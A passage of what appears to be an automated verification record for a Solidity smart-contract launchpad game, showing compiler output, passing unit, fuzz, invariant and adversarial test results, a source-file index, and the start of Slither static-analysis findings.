608202)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8235485)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1046332)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 4833973)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 627477)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 686806)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 524318)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 49490136)\n[PASS] test_recommitOnlyBeforeSeedIfHashesExpire() (gas: 49144610)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 93439570)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1811021)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 4.98s (9.32s CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 1970124)\n[PASS] test_claimableWinner() (gas: 2474097)\n[PASS] test_conservationOfEth() (gas: 5132286)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 42518)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2266678)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2352847)\n[PASS] test_deathAndAllDeadEnd() (gas: 1868988)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1564022)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2394877)\n[PASS] test_failedPushBecomesClaimable() (gas: 1478432)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 5034479)\n[PASS] test_finalizeRanksAndPays() (gas: 4462112)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1677500)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 108368564)\n[PASS] test_finalizerFeeCapped() (gas: 11554887)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1724213)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 366180)\n[PASS] test_fundPotOnlyPad() (gas: 44008)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 18091044)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3378985)\n[PASS] test_graduateOnlyFromGame() (gas: 71136)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 7369238)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1468558)\n[PASS] test_hardEndAt50MinutesAfterPlayStart() (gas: 3968135)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9214274)\n[PASS] test_resolveBatchIsEight() (gas: 6891209)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2222034)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 1869920)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1791916)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1704100)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1425565)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1357597)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 2943540)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1513205)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 2686561)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 4.98s (273.38ms CPU time)\n\nRan 11 test suites in 4.99s (24.60s CPU time): 156 tests passed, 0 failed, 0 skipped (156 total tests)\n","passed":true},{"durationMs":104,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.noteFirstEntry(uint256)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.takeCarry(uint256)\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":201,\"docs/AUDIT.md\":256,\"docs/TEST-REPORT.md\":117,\"docs/VERIFY.md\":60,\"foundry.toml\":22,\"launch.json\":37,\"remappings.txt\":2,\"src/KingOfThePad.sol\":125,\"src/PadGame.sol\":663,\"src/PadHook.sol\":24,\"src/PadLiquidity.sol\":372,\"src/PadToken.sol\":86,\"src/PvPPad.sol\":291,\"src/interfaces/Interfaces.sol\":107,\"src/libs/PadLib.sol\":108,\"test/Adversarial.t.sol\":797,\"test/AtomicDeployment.t.sol\":101,\"test/Base.t.sol\":200,\"test/Fuzz.t.sol\":291,\"test/Game.t.sol\":758,\"test/Invariants.t.sol\":575,\"test/King.t.sol\":312,\"test/LiquidityV4.t.sol\":249,\"test/Pad.t.sol\":299,\"test/Raffle.t.sol\":405,\"test/RaffleEdges.t.sol\":269,\"test/RealV4.sol\":79,\"test/Revision.t.sol\":264,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":58},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"b62ba1faed30f282b18b85ef11e4f9c672574730a37111b50189e1f02978f091","verifiedTreeHash":"2c2475e24747a10d222a6dd61ee00b5f362612ce","verifierVersion":"0.1.0+67c588fa"},{"checks":[{"durationMs":116251,"exitCode":0,"name":"build","output":"Compiling 84 files with Solc 0.8.26\nSolc 0.8.26 finished in 115.98s\nCompiler run successful!\n","passed":true},{"durationMs":6230,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 27565511)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 11672882\n  Later openPad including hook and genesis gas: 788443\n  Combined manifest and later opening gas: 12461325\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 58.00ms (55.33ms CPU time)\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1016865)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 243736)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 8763777)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 991427)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 910324)\n[PASS] test_distributeWithoutKingEscrows() (gas: 746348)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 10191638)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 542854)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 10149863)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 946105)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1101685)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 4137621)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 33088)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 268877)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 59.63ms (45.98ms CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 3233217)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 3934812)\n[PASS] test_claimNothingReverts() (gas: 1177517)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9679)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 8808385)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 11488653)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 19270871)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 2501284)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 3418768)\n[PASS] test_failedGenesisRelaunchTakesTheCarryPotAsFundedEth() (gas: 3096423)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 112902736)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 3780025\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 31430842)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 16199306)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 12930776)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 2385986)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 3171420)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 1084084)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9180)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 2408649)\n[PASS] test_launchViewsRejectIdZero() (gas: 33095)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 2631099)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 9476284)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 8970780)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 7768850)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78146)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 995522)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 1035338)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 8807685)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 9158219)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 9334482)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 3715892)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 2649874)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 8151268)\n[PASS] test_singleLivingImpTakesEverything() (gas: 4797903)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 2381892)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 8181627)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 286.41ms (500.78ms CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107176)\n[PASS] test_bindingsAreOneShot() (gas: 87768)\n[PASS] test_carryPotFundsNextLaunch() (gas: 8904037)\n[PASS] test_closedPadRevertsEverything() (gas: 103813)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 693233)\n[PASS] test_deployGasUnderBudget() (gas: 19924)\n[PASS] test_deployHookOnlyByPad() (gas: 31043)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 11663473)\n[PASS] test_fundGamesOnlyKing() (gas: 39635)\n[PASS] test_hookRejectsForeignInitialize() (gas: 1124557)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 9041615)\n[PASS] test_launchValidatesStrings() (gas: 8136462)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 994947)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 1026322)\n[PASS] test_openPadOnlyOnce() (gas: 1067053)\n[PASS] test_openPadRejectsBadSalt() (gas: 213540)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 280730)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 1374067)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 31293400)\n[PASS] test_templatesCannotBeInitialized() (gas: 1165578)\n[PASS] test_upkeepForOnlyGames() (gas: 1214077)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 568.99ms (190.94ms CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 1917032)\n[PASS] test_claimableWinner() (gas: 2413294)\n[PASS] test_conservationOfEth() (gas: 5031997)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 42408)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2213365)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2296022)\n[PASS] test_deathAndAllDeadEnd() (gas: 1819627)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1519363)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2334411)\n[PASS] test_failedPushBecomesClaimable() (gas: 1429433)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 4938660)\n[PASS] test_finalizeRanksAndPays() (gas: 4368741)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1628449)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 106809947)\n[PASS] test_finalizerFeeCapped() (gas: 11347523)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1675082)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 325938)\n[PASS] test_fundPotOnlyPad() (gas: 43986)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 17863121)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3310629)\n[PASS] test_graduateOnlyFromGame() (gas: 71146)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 7259448)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1420257)\n[PASS] test_hardEndAt60Minutes() (gas: 3890941)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9104495)\n[PASS] test_resolveBatchIsEight() (gas: 6759678)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2168716)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 1820593)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1739004)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1654865)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1380146)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1312310)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 2882246)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1467940)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 2628844)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 586.63ms (308.03ms CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 30845)\n[PASS] test_crownPrecollectsOnlyEightOfTenPools() (gas: 10135815)\nLogs:\n  takeCrown gas, ten real pools: 1615161\n\n[PASS] test_failedDistributorCannotBlockCrown() (gas: 8690381)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 14401126)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 9216075)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 8208761)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 1873153)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 3535795)\n[PASS] test_realTradingTokenFeesAreSoldForEthAndPaidToKing() (gas: 8891634)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 1.26s (1.42s CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 0)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 101   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 107   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 109   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 91    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 134   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 88    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 106   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 85    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 93    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 95    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 96    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 84    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 110   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 93    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 215   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 91    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 106   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 192   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 9\n  Bound result 0\n  Bound result 2400\n  Bound result 2400\n  Bound result 258\n  Bound result 0\n  Bound result 10000\n  Bound result 2995000010000000001\n  Bound result 0\n  Bound result 264999999732888147\n  Bound result 2995000000000013763\n  Bound result 16383\n  Bound result 20000000000000000\n  Bound result 13778\n  Bound result 640\n  Bound result 205\n  Bound result 1306165815548362784\n  Bound result 0\n  Bound result 0\n  Bound result 31\n  Bound result 0\n  Bound result 560\n  Bound result 274\n  Bound result 2\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.54s (3.50s CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 8596016, ~: 8596096)\nLogs:\n  Bound result 19990000000000012022\n  Bound result 200\n  Bound result 993\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 8867260, ~: 8867325)\nLogs:\n  Bound result 16079432639071641108\n  Bound result 47366815410138068573\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 11853397, ~: 11387126)\nLogs:\n  Bound result 1\n  Bound result 902397712997\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 8482294, ~: 8482333)\nLogs:\n  Bound result 49990000000000002327\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 5645486, ~: 5742343)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 118446943263843349\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37172, ~: 37174)\nLogs:\n  Bound result 1877468908\n  Bound result 19259\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21372, ~: 20955)\nLogs:\n  Bound result 3135424969\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 37667, ~: 37863)\nLogs:\n  Bound result 796247245874660579182381030\n  Bound result 2622886383225522990\n  Bound result 2718229471666940625\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 8876061, ~: 10171339)\nLogs:\n  Bound result 1\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 5.94s (9.70s CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 19252442, ~: 16033891)\nLogs:\n  Bound result 89\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 115883712)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2640355\n  5000-entry draw total gas: 16156777\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 51410774)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 369528)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 567537)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8150305)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1033138)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 4711732)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 583415)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 646467)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 524318)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 48686834)\n[PASS] test_recommitOnlyBeforeSeedIfHashesExpire() (gas: 48346188)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 92414052)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1742067)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 5.94s (10.54s CPU time)\n\nRan 9 test suites in 5.96s (18.23s CPU time): 141 tests passed, 0 failed, 0 skipped (141 total tests)\n","passed":true},{"durationMs":107,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":196,\"docs/AUDIT.md\":204,\"docs/TEST-REPORT.md\":111,\"docs/VERIFY.md\":54,\"foundry.toml\":22,\"launch.json\":37,\"remappings.txt\":2,\"src/KingOfThePad.sol\":119,\"src/PadGame.sol\":637,\"src/PadHook.sol\":24,\"src/PadLiquidity.sol\":364,\"src/PadToken.sol\":86,\"src/PvPPad.sol\":262,\"src/interfaces/Interfaces.sol\":105,\"src/libs/PadLib.sol\":108,\"test/Adversarial.t.sol\":791,\"test/AtomicDeployment.t.sol\":101,\"test/Base.t.sol\":200,\"test/Fuzz.t.sol\":286,\"test/Game.t.sol\":755,\"test/Invariants.t.sol\":575,\"test/King.t.sol\":312,\"test/LiquidityV4.t.sol\":249,\"test/Pad.t.sol\":291,\"test/Raffle.t.sol\":403,\"test/RealV4.sol\":79,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":58},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":9459,"exitCode":0,"name":"slither","output":"[high/medium] weak-prng at src/PadGame.sol:169: PadGame._draw(uint256) (src/PadGame.sol#169-221) uses a weak PRNG: \"threshold = (0 - remaining) % remaining (src/PadGame.sol#201)\"\n[high/medium] incorrect-exp at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) has bitwise-xor operator ^ instead of the exponentiation operator **: \n[high/medium] msg-value-loop at src/PvPPad.sol:166: PvPPad.fundGames() (src/PvPPad.sol#166-195) use msg.value in a loop: share = msg.value / count (src/PvPPad.sol#189)\n[high/medium] msg-value-loop at src/PvPPad.sol:166: PvPPad.fundGames() (src/PvPPad.sol#166-195) use msg.value in a loop: share = msg.value - sent (src/PvPPad.sol#190)\n[high/medium] msg-value-loop at src/PvPPad.sol:166: PvPPad.fundGames() (src/PvPPad.sol#166-195) use msg.value in a loop: share = msg.value * pots[i_scope_0] / total (src/PvPPad.sol#189)\n[high/medium] reentrancy-eth at src/PadGame.sol:224: Reentrancy in PadGame.roll() (src/PadGame.sol#224-259):\n[high/medium] reentrancy-eth at src/KingOfThePad.sol:57: Reentrancy in KingOfThePad.takeCrown() (src/KingOfThePad.sol#57-96):\n[high/medium] reentrancy-eth at src/PvPPad.sol:88: Reentrancy in PvPPad.restartGenesis() (src/PvPPad.sol#88-95):\n[high/medium] reentrancy-eth at src/PadGame.sol:286: Reentrancy in PadGame.upkeepStep(address) (src/PadGame.sol#286-298):\n[high/high] uninitialized-state at src/PadGame.sol:146: PadGame.entrants (src/PadGame.sol#91) is never initialized. It is used in:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/PadGame.sol:523: PadGame._finalize(address) (src/PadGame.sol#523-580) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/PvPPad.sol:232: PvPPad.genesisGraduated() (src/PvPPad.sol#232-236) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:169: PadGame._draw(uint256) (src/PadGame.sol#169-221) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:233: PadLiquidity.burnChunk() (src/PadLiquidity.sol#233-246) uses a dangerous 